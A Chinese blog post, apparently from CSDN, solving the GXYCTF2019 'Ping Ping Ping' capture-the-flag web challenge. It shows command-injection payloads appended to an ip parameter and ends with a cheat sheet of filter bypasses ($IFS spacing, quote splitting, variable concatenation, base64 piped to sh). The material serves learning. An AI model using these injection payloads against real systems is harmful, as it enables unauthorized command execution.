web:[GXYCTF2019]Ping Ping Ping

题目

点进题目,页面只显示/?ip=,没有其他信息

联系到题目名为ping,猜测题目于ping地址有关,先尝试一下

构造payload

http://31e941af-c0d7-49c9-a3fe-84cb13d8adae.node4.buuoj.cn:81/?ip=127.0.0.1

这里猜测可能为远程命令执行漏洞,尝试一下

构造payload

/?ip=127.0.0.1;whoami

返回结果正确,猜测正确,还知道主机为linux

使用命令执行查找flag文件

构造payload

/?ip=127.0.0.1;ls

查看flag文件

构造payload

/?ip=127.0.0.1;cat flag.php

页面显示不要输入空格,这里参考了其他大佬的wp才知道是空格被过滤了

检查页面源代码,没有显示结果(必须通过检车页面源代码,因为php代码有些东西会被前端自动渲染而不显示)

使用空格绕过方法

构造payload

/?ip=127.0.0.1;cat$IFSflag.php

说明绕过空格成功

但是还是无法显示flag文件,并且页面显示fxck your flag,猜测可能过滤了关键字flag,需要绕过flag

构造payload

/?ip=127.0.0.1;a=g;cat$3$IFS$1fla$a.php

页面没有显示,选择查看源代码,看看是否在注释中

得到flag

总结

#空格绕过方法
$IFS
${IFS}
$IFS$1   //$1改成$加其他数字貌似都行
$IFS$9     后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 

#关键字绕过方法

#以flag为例
单引号绕过 fla'g'
双引号绕过 fla"g"
反斜线绕过 f\lag
变量拼接绕过 a=g;cat$IFS$1fla$a.php
$+任意数字绕过 fl$1ag 
Base64绕过 cat flag.php 的base64编码为Y2F0IGZsYWcucGhw
  echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
内联绕过 就是将反引号内命令的输出作为输入执行
  cat `ls

参考学习文章链接:

[GXYCTF2019]Ping Ping Ping_MiaoA知识的博客-CSDN博客

[GXYCTF2019]Ping Ping Ping_ctf pingpingping_谢添姣的博客-CSDN博客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值